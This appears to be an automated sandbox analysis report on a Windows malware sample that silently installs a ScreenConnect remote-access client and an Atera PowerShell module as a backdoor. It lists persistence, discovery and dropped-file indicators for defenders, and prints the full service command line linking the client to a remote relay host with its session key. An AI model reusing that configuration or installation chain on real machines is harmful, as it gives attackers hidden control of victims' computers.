26f14364075f084be9a1c444a9f136a263f1254769b57e144e15d31e16146e14

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
18/08/2026, 23:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-18_6df9efdb596933d37203c8047c98ce39_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Size 20.5MB
Sample260818-3lp44abj2s
SHA256 26f14364075f084be9a1c444a9f136a263f1254769b57e144e15d31e16146e14
MD5 6df9efdb596933d37203c8047c98ce39
SHA1 25cacffbc02a5ae1292857825e88062cd907fd24
SHA512 e666bb6e8e1285fb337565f16788194b809530aae428173444dd1d47add1a47eefd5c61816e75cbe4d2307e59918c85277b81e550e7ea926c5f783fdc226c53c
SSDEEP 393216:itkqBojkqBNkqBikqBwkqBIkqBWkqB4kqBv:zg
TLSH
T1A7272212B3E54565D1BB1A38E8B946965A35BC054B12C2BF52A8B96E3D33FC0DD32333
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

backdoor discovery execution persistence privilege_escalation ransomware rat

Malware Config

Signatures

Detects encrypted or obfuscated .NET executables 1 IoCs

resource	yara_rule
behavioral1/files/0x0008000000024476-162.dat	INDICATOR_EXE_DotNET_Encrypted

Badlisted process makes network request 16 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	2152	msiexec.exe
13	2152	msiexec.exe
45	3300	powershell.exe
47	3300	powershell.exe
52	3300	powershell.exe
54	3300	powershell.exe
55	3300	powershell.exe
56	3300	powershell.exe
57	3300	powershell.exe
58	3300	powershell.exe
61	3300	powershell.exe
62	3300	powershell.exe
63	3300	powershell.exe
64	3300	powershell.exe
66	3300	powershell.exe
68	3300	powershell.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (01f7887e65212823)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (01f7887e65212823)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-kuplwv-relay.screenconnect.com&p=443&s=879e53dd-9ac3-4479-b087-832afb523a67&k=BgIAAACkAABSU0ExAAgAAAEAAQAd7H8QeFSmAIetbPIKqsm6GYVfky72XxBPgsniloPHlf%2b7EsP4Nhwliw8ODKh7RMNNzCNJ9aTqAMjETMU7G%2bSO%2feeTwlkHXMNL2DQipUePx38OAx4IKWyZJXtCIz905lu96U%2bIep5EXsnefMy0Z6JXZ34lfK38VZJYNUXHxFHrdBa8sH79lR5D68kRTUXAowB7%2bkPPhEIdQpBvUoxuxBd3%2bDpA2phoX6kMENXaaHzDjHPY8Wd2HWkW%2bhHKugeI4LEb6CTYqALtiTLg%2fTvH95KyFBFZrKSGKXIgRXaiYgoRdZqCpcw%2b2wnkDpAo%2bpdF4Zmk6AyyVaoYFdlUGcgIjrfE&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAVDWEj96ulkagqpBRV2SFjgAAAAACAAAAAAAQZgAAAAEAACAAAAA7A%2bfD3Tc8%2fYWY6EqiyrN95WBGkszqEv3mnZUDnWSYzwAAAAAOgAAAAAIAACAAAACUdrEb2ug%2bEjn5WVOGwBbvjvEurDMXfXrQHiAEd%2biZvKAEAAC9VqT7Jm%2ffOZNoIyt5E3q4v3HSHcIVR3H7igMLEANYSc%2f7CdbUHEGHSsad5FpmUn0EqissN6SRZXnCin98LeYtg%2bu6skJ2SzasMlYoGVI9cKX2Qpu0%2bFYhzw1ZO5lpQzFC77gfY86axdQOhlZw9KxU9b0X3oQgHvQ%2ff0tS5Ewt1M2YaxKPDcRZzG3GCSTo43wBuGt96%2bsIce2rlz998G3ONMLdw4SHPit6pxmXB6t%2bu%2bXoGpjpA1TgskE0djpg%2bP%2fQDNdKLzYvh4n7c5ELTcRVJbrn7A%2boT47V%2fXumT4MbASEd7i6y1D%2bmA2%2fS7vEvnRs4qY4%2fnT1YdCxDUM2P53wRBa%2fiRIKgr5WeYoJAV%2bYj4jdewta%2fDUTJetcHBz0eP7kdMp5v9NJNsaOYzWnvh0RiASZItta4T%2bhCWVMm1VqP%2b2R2PaFh939tEfcTdvSEy%2fTRPtJc6wvHuqRsvZ3nJ8r6SoZhgfgoJKOiliXrXPeotGNYoPhMk0vtGarcwNu0f0WUXhvUdZP4Dq2BzrIJn%2fEL6e8WIHCizHBTpOmL7STrjUosX6B0NxQUfoxgXZ6X0KZY%2fP0sYIQJPp%2bTOn%2beVowza36AQYPwNo1nMZw0qrQITCUwHLH%2fxFr22eGUrVNNIJhb48%2bUSBeWGJS%2fifHBGc2%2bX3ptLANBVFRIIlyCTErDTiWuK5sXYViVBpyqSJfIzLV5dx8kUrWowZvJm%2fQsPFCSEEdaluYodSQcv%2f8R1ucOClpsWSJFM4JuNwR%2f3luHzRg7NflcEO55nbwcXn0aXHx4gbKs4YNbPb7B%2f42IyGzUz1WqfcXd940tbaAInVsFH3DYZ7LdhDRM2FGLyR2tqyl1qPPVq2Imaxzd8xW4b7Qga9AyFU5RihZKRRSrW3hSXM5IqPcCbCvIOQ9jt31r2BM4gk%2f6nkkefAXTa7UZzXK4HPLD0ngAuhz%2b08J%2b4vbCG8X08I6k8aXQvxsSbWLLEmCziPWAVU3zQCuEfqjCuQTZzZTd%2bWQc3YO9sgqit8zQwpwPM5cFALkb8PN2Cb9b8C3YzKCvZQ5zLu6KpbnYuHuI3%2bSyk9amHXeR%2fJZZz5yPIXG7XlEnzPItc%2bM3rY%2fiW17vR%2b%2bbU2MExf5BNHL1t1lxfuiufkI7aU2PVwqaP%2b3g%2fBKQ0zXJjZ%2f0%2f8sE%2bRRX2D7KZfUA2H9J3s9VMxY71fIlytSE313tU%2f83XR2wZJPUJ8YtohRWPeR%2fMYzapSrZ6OQpoyG73%2flAVKpux170p5Sj%2bUlMUmWTe07aRQkxV7IXd5tHBttwCSsa9xkPRc2JbM5zpPEQteFeDvHLfE9iyl5gdDjCgT8X5tRa%2f60omEoRRu4c2hYkTfH06rfwCvhtByD%2fVkxadu7Qj22dbJbKYEotWD7Gd7jBzOCWuvj1P34TlO%2b3oWXf4K3TJKwDtKpoQStLIwdVUUdQqY6d2ue%2fmJsSJlrWBXmLyeAlJ7yYd4n7J8yR1kYUTyLZmZzB64xUOJl9AfddDKOq%2b9wldTrzcaQqkhLtebwgDzG1LdyOTT4TL0TZDKD4Cx%2boK6H%2bgslFi6ooxOfLAH%2bz35zRj3X7P5SS%2fEAAAAADOPYhmyqd6kLSiEE%2b%2bKrTLO%2fqLkUD03wi3uFB3aLsZ6pwqkX4ZG21DOxgN7u84V14g%2bg9L4Ce0EgHoxcaXgs7\""	ScreenConnect.ClientService.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	2026-08-18_6df9efdb596933d37203c8047c98ce39_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 7 IoCs

pid	Process
2852	ScreenConnect.ClientService.exe
224	ScreenConnect.WindowsClient.exe
4036	ScreenConnect.WindowsClient.exe
4408	ScreenConnect.ClientSetup.exe
4940	ScreenConnect.ClientService.exe
3628	ScreenConnect.WindowsClient.exe
5052	ScreenConnect.WindowsClient.exe

Loads dropped DLL 44 IoCs

pid	Process
4712	MsiExec.exe
4572	rundll32.exe
4572	rundll32.exe
4572	rundll32.exe
4572	rundll32.exe
4572	rundll32.exe
4572	rundll32.exe
4572	rundll32.exe
4572	rundll32.exe
4572	rundll32.exe
3788	MsiExec.exe
4392	MsiExec.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
2852	ScreenConnect.ClientService.exe
640	MsiExec.exe
1292	rundll32.exe
1292	rundll32.exe
1292	rundll32.exe
1292	rundll32.exe
1292	rundll32.exe
1292	rundll32.exe
1292	rundll32.exe
1292	rundll32.exe
1292	rundll32.exe
640	MsiExec.exe
640	MsiExec.exe
4940	ScreenConnect.ClientService.exe
4940	ScreenConnect.ClientService.exe
4940	ScreenConnect.ClientService.exe
4940	ScreenConnect.ClientService.exe
4940	ScreenConnect.ClientService.exe
4940	ScreenConnect.ClientService.exe
4940	ScreenConnect.ClientService.exe
4940	ScreenConnect.ClientService.exe
4940	ScreenConnect.ClientService.exe
4940	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 2 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800300031006600370038003800370065003600350032003100320038003200330029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f00300000000000	msiexec.exe

Drops file in System32 directory 21 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\zrwdtwa3.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log	rundll32.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ScreenConnect.ClientService.exe.log	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\hgqhgxyl.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\5thfk3nv.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\5thfk3nv.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\pp2xrtd5.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\PowerShellGet\PSRepositories.xml	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ScreenConnect.ClientSetup.exe.log	ScreenConnect.ClientSetup.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\hgqhgxyl.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\5thfk3nv.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\NuGet\nuget.config	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\pp2xrtd5.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\zrwdtwa3.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\user.config	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\hgqhgxyl.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\pp2xrtd5.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\CustomValues.ps1	powershell.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\docs.txt	powershell.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Billing.ps1	powershell.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.ClientService.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsClient.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\PostInstall.ps1	powershell.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\PSGetModuleInfo.xml	powershell.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\PSAtera.psm1	powershell.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.resources	msiexec.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Alerts.ps1	powershell.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.Client.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Account.ps1	powershell.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Contacts.ps1	powershell.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.en-US.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Contracts.ps1	powershell.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\system.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.ClientService.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.fr.19_4.resources	msiexec.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Agents.ps1	powershell.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Rates.ps1	powershell.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.Override.resources	msiexec.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\Install.ps1	powershell.exe
File created	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.fr.19_4.resources	msiexec.exe
File created	C:\Program Files\PackageManagement\ProviderAssemblies\nuget\2.8.5.208\Microsoft.PackageManagement.NuGetProvider.dll	powershell.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\psakefile.ps1	powershell.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\PSGetModuleInfo.xml	powershell.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.en-US.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.Core.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\app.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.Override.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Customers.ps1	powershell.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.Override.en-US.resources	msiexec.exe
File opened for modification	C:\Program Files\PackageManagement\ProviderAssemblies\nuget\2.8.5.208\Microsoft.PackageManagement.NuGetProvider.dll	powershell.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Departments.ps1	powershell.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Tickets.ps1	powershell.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Workhours.ps1	powershell.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\PSAtera.psd1	powershell.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Devices.ps1	powershell.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Knowledgebase.ps1	powershell.exe

Drops file in Windows directory 37 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e589621.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI97B7.tmp	msiexec.exe
File created	C:\Windows\Installer\e589623.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2CF6.tmp	msiexec.exe
File created	C:\Windows\Installer\{483ADD4A-5C3B-F281-28AF-F895BC10AD3B}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\SourceHash{3854E63E-2CBD-FA0A-7510-0BD182E966E5}	msiexec.exe
File created	C:\Windows\SystemTemp\ScreenConnect\26.5.3.9691\01f7887e65212823\ScreenConnect.ClientSetup.msi	ScreenConnect.ClientSetup.exe
File opened for modification	C:\Windows\Installer\e589624.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI239E.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File created	C:\Windows\Installer\SourceHash{483ADD4A-5C3B-F281-28AF-F895BC10AD3B}	msiexec.exe
File created	C:\Windows\SystemTemp\ScreenConnect\26.5.3.9691\lCUJOSWmj02brun.ps1	ScreenConnect.ClientService.exe
File created	C:\Windows\Installer\{3854E63E-2CBD-FA0A-7510-0BD182E966E5}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI239E.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI239E.tmp-\ScreenConnect.WindowsInstaller.dll	rundll32.exe
File created	C:\Windows\Installer\e58963f.msi	msiexec.exe
File created	C:\Windows\Installer\e589621.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9F5A.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\ScreenConnect\25.7.7.9426\ScreenConnect.ClientSetup.exe	ScreenConnect.ClientService.exe
File created	C:\Windows\Installer\e589624.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI239E.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI239E.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File created	C:\Windows\Installer\wix{3854E63E-2CBD-FA0A-7510-0BD182E966E5}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\{3854E63E-2CBD-FA0A-7510-0BD182E966E5}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\wix{483ADD4A-5C3B-F281-28AF-F895BC10AD3B}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9825.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI239E.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI239E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI239E.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI2EFC.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2FC8.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{483ADD4A-5C3B-F281-28AF-F895BC10AD3B}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI239E.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI239E.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI2EAC.tmp	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3300	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-18_6df9efdb596933d37203c8047c98ce39_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
